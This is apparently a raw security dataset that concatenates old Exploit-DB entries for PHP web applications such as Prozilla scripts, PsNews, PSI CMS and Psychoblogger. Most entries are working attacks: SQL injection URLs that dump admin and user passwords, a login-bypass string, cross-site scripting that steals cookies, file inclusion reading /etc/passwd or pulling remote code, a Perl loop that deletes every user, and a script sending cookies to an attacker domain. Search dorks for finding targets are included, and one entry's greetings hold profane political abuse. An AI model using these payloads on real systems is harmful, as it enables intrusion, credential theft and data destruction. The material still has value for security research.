deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4265
Description: Prozilla Pub Site Directory - 'Directory.php?cat' SQL Injection
Type: webapps
Platform: php
Date: 2007-08-06
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		    Prozilla Pub Site Directory SQL Injection Vulnerbility           +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: prozilla.com
DORK: inurl:"directory.php?cat=" pubs


DESCRIPTION: 
pull out users and admins login information


EXPLOITS:
http://server.com/Script_Dir/directory.php?cat=-1/**/UNION/**/ALL%20SELECT/**/1,2,3,4,5,6,7,concat(username,0x3a,password),9,10,11,12,13,14/**/FROM/**/admin/*
http://server.com/Script_Dir/directory.php?cat=-1/**/UNION/**/ALL%20SELECT/**/1,2,3,4,5,6,7,concat(username,0x3a,password),9,10,11,12,13,14/**/FROM/**/users/*


NOTE/TIP: 
admin login at /siteadmin/


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.org !


--==+================================================================================+==--
--==+		    Prozilla Pub Site Directory SQL Injection Vulnerbility           +==--
--==+================================================================================+==--

# milw0rm.com [2007-08-06]
Exploit-DB #5387
Description: Prozilla Reviews Script 1.0 - Arbitrary Delete User
Type: webapps
Platform: php
Date: 2008-04-06
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+          Prozilla Reviews Script 1.0 Arbitrary Delete User Vulnerability	     +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 7 April 2008
Script Download: http://prozilla.net
DORK: inurl:"view.php?ItemID=" rating "rate this review"

Vendor Has Not Been Notified!



DESCRIPTION:
Prozilla Reviews script suffers from bad session handling, and some crutial parts of the admin area
are not checked to see if the user is a admin or not.
the below url will delete a user from the database. 



Vulnerability:
http://site.com/siteadmin/DeleteUser.php?UserID=[uid]



NOTE/TIP:
replace [uid] with a actualy user id.

you can also code a little script to delete all users, example below.

#!/usr/bin/perl

use LWP::Simple;
$i=1;
while(1) {
	$c=get("http://site.com/siteadmin/DeleteUser.php?UserID=".$i);
	$i++;
}
#end


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



--==+================================================================================+==--
--==+          Prozilla Reviews Script 1.0 Arbitrary Delete User Vulnerability	     +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-06]
Exploit-DB #7027
Description: Prozilla Software Directory - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2008-11-06
Author: G4N0K

Exploit:
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\

==============================================================================
	Software Directory v1.0 (SQL/XSS) Remote SQL Vulnerability
==============================================================================

	[Â»] Script:             [ Software Directory v1.0 ]
	[Â»] Language:           [ PHP ]
	[Â»] Website:            [ http://www.turnkeyforms.com/software-directory.html ]
	[Â»] Type:               [ Commercial ]
	[Â»] Report-Date:        [ 06.11.2008 ]
	[Â»] Founder:            [ G4N0K <mail.ganok[at]gmail.com> ]


===[ XPL ]===

	[ SQLi ]
	[Â»] http://localhost/[path]/showcategory.php?cid=-24/**/UNION/**/ALL/**/SELECT/**/1,concat(version(),0x3a,user()),3,4,5--


	[ XSS ]
	[Â»] http://localhost/[path]/signinform.php?msg="><script>alert(document.cookie)</script>




===[ LIVE ]===
	
	[ SQLi ]
	[Â»] http://demo.turnkeyforms.com/software-directory/showcategory.php?cid=-24/**/UNION/**/ALL/**/SELECT/**/1,concat(version(),0x3a,user()),3,4,5--

	[ XSS ]
	[Â»] http://demo.turnkeyforms.com/software-directory/signinform.php?msg="><script>alert(document.cookie)</script>

	
===[ Greetz ]===

	[Â»] ALLAH
	[Â»] Tornado2800 <Tornado2800[at]gmail.com>
	[Â»] Hussain-X <darkangel_g85[at]yahoo.com>

	//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
	//ALLAH,forgimme...

===============================================================================
exit(); //EoX
===============================================================================

# milw0rm.com [2008-11-06]
Exploit-DB #31626
Description: Prozilla Software Index 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2008-04-05
Author: t0pP8uZz

Exploit:
source: https://www.securityfocus.com/bid/28677/info


Prozilla Software Index is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects Prozilla Software Index 1.1; other versions may also be vulnerable. 


http://www.example.com/showcategory.php?cid=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(0x3C666F6E7420636F6C6F723D[PII_REDACTED]3E,admin_name,0x3a,pwd,0x3C2F666F6E743E),3,4,5/**/FROM/**/sbwmd_admin/*
Exploit-DB #5384
Description: Prozilla Top 100 1.2 - Arbitrary Delete Stats
Type: webapps
Platform: php
Date: 2008-04-06
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+	         Prozilla Top 100 1.2 Arbitrary Delete Stats Vulnerability           +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz & xprog
Discovered On: 
Script Download: http://prozilla.net
DORK: inurl:"list.php?c=" top 100
Vendor Has Not Been Notified!


DESCRIPTION: 
Prozilla Top 100 1.2 is vulnerable due to very bad validating on there $_GET urls.
this allows the remote attacker to delete the stats of a user of choice.
therefor pushing which ever site they want to the top of the list.


Vulnerbility:
http://site.com/delete.php?s=[id]


NOTE/TIP: 
replace [id] with the actual site id you want to reset the stats for.
you must first regster and login for this too work. note that it will delete your user account too.


GREETZ: milw0rm.com, h4ck-y0u.org,  CipherCrew!



--==+================================================================================+==--
--==+	         Prozilla Top 100 1.2 Arbitrary Delete Stats Vulnerability           +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-06]
Exploit-DB #5388
Description: Prozilla Topsites 1.0 - Arbitrary Edit/Add Users
Type: webapps
Platform: php
Date: 2008-04-06
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+	    Prozilla Topsites 1.0 Arbitrary Edit/Add Users Vulnerability             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 7 April 2008
Script Download: http://prozilla.net
DORK: N/A

Vendor Has Not Been Notified!


DESCRIPTION: 
Prozilla TopSites in vulnerable due to bad session handling, multiple admin area files are not
validating the users that is viewing it, therefor making it viewiable to anyone, even unregistered people.

below you will find a URL that will locate the add and edit users page.


Vulnerability:
http://site.com/siteadmin/addu.php
http://site.com/siteadmin/editu.php
http://site.com/siteadmin/uidx.php


NOTE/TIP: 
edit admin's password login to view all admin features  ;) 


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



--==+================================================================================+==--
--==+	    Prozilla Topsites 1.0 Arbitrary Edit/Add Users Vulnerability             +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-06]
Exploit-DB #4284
Description: Prozilla Webring Website Script - 'category.php?cat' SQL Injection
Type: webapps
Platform: php
Date: 2007-08-13
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==         Prozilla Webring Website Script SQL Injection Vulnerbility	             +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://prozilla.com
DORK: altavista dork (include quotes) : "Create your own free webring and bring traffic to your website. Join now, it's free!"


DESCRIPTION: 
pull user details from the database, returns multiple data :D


EXPLOITS:
http://server.com/Script_Dir/category.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(username,0x3a,password),3,4,5/**/FROM/**/users/*


NOTE/TIP: 


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.org !


--==+================================================================================+==--
--==         Prozilla Webring Website Script SQL Injection Vulnerbility	             +==--
--==+================================================================================+==--

# milw0rm.com [2007-08-13]
Exploit-DB #24373
Description: PScript PForum 1.24/1.25 - User Profile HTML Injection
Type: webapps
Platform: php
Date: 2004-07-16
Author: Christoph Jeschke

Exploit:
source: https://www.securityfocus.com/bid/10954/info

PScript PForum is reported prone to a HTML injection vulnerability. The vulnerability presents itself due to a lack of sufficient sanitization performed on data submitted through input fields of the PForum user profile form.

This could be exploited to steal cookie-based authentication credentials. It is also possible to use this type of vulnerability as an attack vector to exploit latent browser security flaws.

Create a Javascript file and save it as bad.js (your domain name is in this
case example.com). The file contains the following code:

// bad.js
function b()
{
location.href='example.org/compute_stolen_data.ext?'+document.cookie;
}

Edit your profile and enter the following line into the IRC Server or AIM
ID Input Box. The string have to be shorter then 100 characters.

// Input Box (without line break)
"><script src=http://example.com/bad.js></script>
<img height=0 width=0 src=foo onerror=b(); >
Exploit-DB #11135
Description: PSI CMS 0.3.1 - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-13
Author: learn3r hacker

Exploit:
###########################################
#       PSI CMS v. 0.3.1 SQLi Vulns       #
#       By learn3r hacker from nepal      #
#       damagicalhacker@gmail.com         #
###########################################

Product name: psi-cms
Product vendor: http://psi.tarakan.eu/

This product suffers from multiple SQLi...

[+] Exploits:

http://localhost/psi-cms-v.0.3.1/index.php?page=-1+union+all+select+1,2,concat(@@version,0x3a,database(),0x3a,user()),4,5,6/*

[+] Other SQLi:

http://localhost/psi-cms-v.0.3.1/index.php?subj=[SQL]
http://localhost/psi-cms-v.0.3.1/index.php?subpage=[SQL]



Greetz to: sToRm(Thanks a lot bro) and m0nkee from #gny, sam207 from www.sampctricks.blogspot.com, nepali boka, l@d0_put! HaCKeR and all...
FuCK MaKuNe, G!r!ja, Prachanda and all political leaders of Nepal
K!ll Parmananda Jha, Upendra Yadav and Vijay Gachhedhaar...
We need political stability and economic development in Nepal and you motherfuckers are terrorizing in the name of political parties. So BIG FUCK YOUs to all the political parties and leaders of Nepal.

By learn3r aka cyb3r lord
Nepali Hackerz Are Not Dead!!!
Exploit-DB #6226
Description: psipuss 1.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-08-10
Author: Virangar Security

Exploit:
           
             ########################################################################
             #                                                                      #
             #  ...:::::psipuss version 1.0 SQL Injection Vulnerabilities ::::....  #           
             ########################################################################

Virangar Security Team

www.virangar.net
www.virangar.ir

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) from ISCN :)
-----------------------------------
vuln code in categories.php:
line 5: if(!empty($_GET[Cid]))
{
        $qCTitle = "select * from `categories` where `Cid` = '$_GET[Cid]'";
------------
exploit:
http://site.com/categories.php?Cid='/**/union/**/select/**/1,concat(Username,0x3a,char(58),Password),3,4,5/**/from/**/users/*
--------------------------------
                                .::::admin Authentication bypass vuln::::.
vuln code in login.php:
                                
                                
line 6: $Username = strip_tags($_POST[username]);
line 7: $Password = strip_tags($_POST[password]);
..
..
..
line 18: $password11 = $_POST[password];
line 19:                $qlogin = "select * from `users` where `Username` = '$Username' and `Password` = '$password11' and `Status` = 'Active'";
---
Exploit:
User Name:admin ' or 1=1/*
Password :[whatever]
---
young iranian h4ck3rz

# milw0rm.com [2008-08-10]
Exploit-DB #2249
Description: pSlash 0.7 - 'lvc_include_dir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-23
Author: Mehmet Ince

Exploit:
############################################################

pSlash v0.7 (lvc_include_dir) Remote Include Vulnerability

############################################################

#Author: XORON

############################################################

#Class: Remote

############################################################

#cont@ct: x0r0n[at]hotmail[dot]com

############################################################

#Code:  require($lvc_include_dir.'db/db_mysql.inc.php');

############################################################

#Exploit:
http://www.site.com/[path]/modules/visitors2/include/config.inc.php?lvc_include_dir=http://evil_scripts?

############################################################

#Greetz: str0ke, Ironfist, Preddy, sakkkure

############################################################

# milw0rm.com [2006-08-23]
Exploit-DB #24575
Description: PSNews 1.1 - 'No' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-09-05
Author: Michal Blaszczak

Exploit:
source: https://www.securityfocus.com/bid/11124/info

PSNews is a Web application that is implemented in PHP.

PSNews is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This vulnerability is reported to exist in version 1.1 of PSNews.

http://www.example.com/index.php?function=show_all&no=%253cscript>alert%2528document.cookie);%253c/script>
http://www.example.com/index.php?function=add_kom&no=">%20<font%20size="20"%20color=red>%20<b>%20WackY%20%20</font>
Exploit-DB #4174
Description: PsNews 1.1 - 'show.php?newspath' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-07-12
Author: irk4z

Exploit:
#                                      o      [bug]     /"*._         _        #
#                 .                     .    .      .-*'`    `*-.._.-'/        #
#                                   o       o     < * ))     ,       (         #
#                            .           o          `*-._`._(__.--*"`.\        #
#                                                                              #
# vuln.: PsNews 1.1 (show.php newspath) Local File Inclusion                   #
# author: irk4z@yahoo.pl                                                       #
# download:                                                                    #
#   http://www.strefaphp.net/index.php?page=download&what=download&fid=12      #
# dork: "Powered by PsNews" ;]                                                 #

/news/show.php:
...
 if(eregi("://", $newspath)){
 	die("Nieautoryzowany dostÄ™p!");
 }
 if(!isset($newspath)){
	 $newspath = "news";
 }
 include("$newspath/functions.php");
...

# exploit:

 http://[site]/[path]/news/show.php?newspath=/etc/passwd%00
 http://[site]/[path]/news/show.php?newspath=[file]%00


# greetz: cOndemned, DooMRiderZ vx team (great zin :D), polish underground :*

# milw0rm.com [2007-07-12]
Exploit-DB #14251
Description: PsNews 1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-06
Author: S.W.T

Exploit:
#########################################################################################
# Exploit Title : PsNews Sql Injection Vulnerability
# Date : 6 - 7 - 2010
# Author : S.W.T
# Vendor : http://www.psnews.sourceforge.net
# Version : 1.3
# Tested on : Linux & Windows
# Home : WwW.SeC-WaR.CoM <http://www.sec-war.com/>
#########################################################################################

                                               -== SQL Injection
Vulenrability ==-

http://www.[site].com/[path]/ndetail.php?id=[SQL1]

http://www.[site].com/[path]/print.php?id=[SQL2]


#########################################################################################

                                                 This Is Security War Team

                                        Penetration Testing & Ethical Hacking

                                                       No More Privates

#########################################################################################
Exploit-DB #44140
Description: PSNews Website 1.0.0 - 'Keywords' SQL Injection
Type: webapps
Platform: php
Date: 2018-02-16
Author: L0RD

Exploit:
# Exploit Title:  PSNews Website (Same Backend with Mobile Apps) 1.0.0 - 'Keywords' SQL Injection
# Dork: N/A
# Date: 2018-02-16
# Exploit Author: Borna nematzadeh (L0RD) or borna.nematzadeh123@gmail.com
# Vendor Homepage: https://codecanyon.net/item/psnews-website/21360354?s_rank=9
# Version: 1.0.0
# Category: Webapps
# CVE: N/A
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands.
# # # # #
# Proof of Concept :

SQLI :

http://server/index.php/search

# Parameter : keywords (POST)
#    Type: Error based
#    Title:  Mysql >= 5.6.33 AND Error based - updatexml (XPATH query)
#    Payload : ' or updatexml(1, concat(0x3a,user(),0x3a,database()),1)
#######################################
# Discrption : Put this payload in the search field.then you will have
XPATH syntax error in the next page.

Test : http://server/index.php/search
Payload : ' or updatexml(1, concat(0x3a,user(),0x3a,database()),1)
Exploit-DB #23477
Description: Psychoblogger PB-beta1 - 'desc' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-12-24
Author: Andrew Smith

Exploit:
source: https://www.securityfocus.com/bid/9293/info

It has been reported that Psychoblogger may be prone to multiple cross-site scripting vulnerabilities that may allow a remote attacker to execute HTML or script code in a user's browser. The issues are reported to exist in the 'imageview.php', 'entryadmin.php', 'authoredit.php', 'blockedit.php', 'configadmin.php' and 'quoteedit.php' scripts. These vulnerabilities result from insufficient sanitization of user-supplied data passed via vulnerable parameters.

Psychoblogger version PB-beta1 has been reported to be prone to these issues, however, other versions could be affected as well.

http://www.example.com/imageview.php?desc=</title><script>alert(document.cookie)</script>
Exploit-DB #23478
Description: Psychoblogger PB-beta1 - errormessage Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-12-24
Author: Andrew Smith

Exploit:
source: https://www.securityfocus.com/bid/9293/info
 
It has been reported that Psychoblogger may be prone to multiple cross-site scripting vulnerabilities that may allow a remote attacker to execute HTML or script code in a user's browser. The issues are reported to exist in the 'imageview.php', 'entryadmin.php', 'authoredit.php', 'blockedit.php', 'configadmin.php' and 'quoteedit.php' scripts. These vulnerabilities result from insufficient sanitization of user-supplied data passed via vulnerable parameters.
 
Psychoblogger version PB-beta1 has been reported to be prone to these issues, however, other versions could be affected as well.

http://www.example.com/entryadmin.php?error=1&errormessage=<script>alert('xss')</script>
Exploit-DB #30051
Description: PsychoStats 2.3 - 'Server.php' Full Path Disclosure
Type: webapps
Platform: php
Date: 2007-05-17
Author: kefka

Exploit:
source: https://www.securityfocus.com/bid/24039/info

PsychoStats is prone to a path-disclosure issue when invalid data is submitted.

Exploiting this issue can allow an attacker to access sensitive data that may be used to launch further attacks against a vulnerable computer.

PsychoStats 3.0.6b and prior versions are vulnerable to this issue. 

http://www.example.com/[path]/server.php?newcss=styles.css&newtheme=%00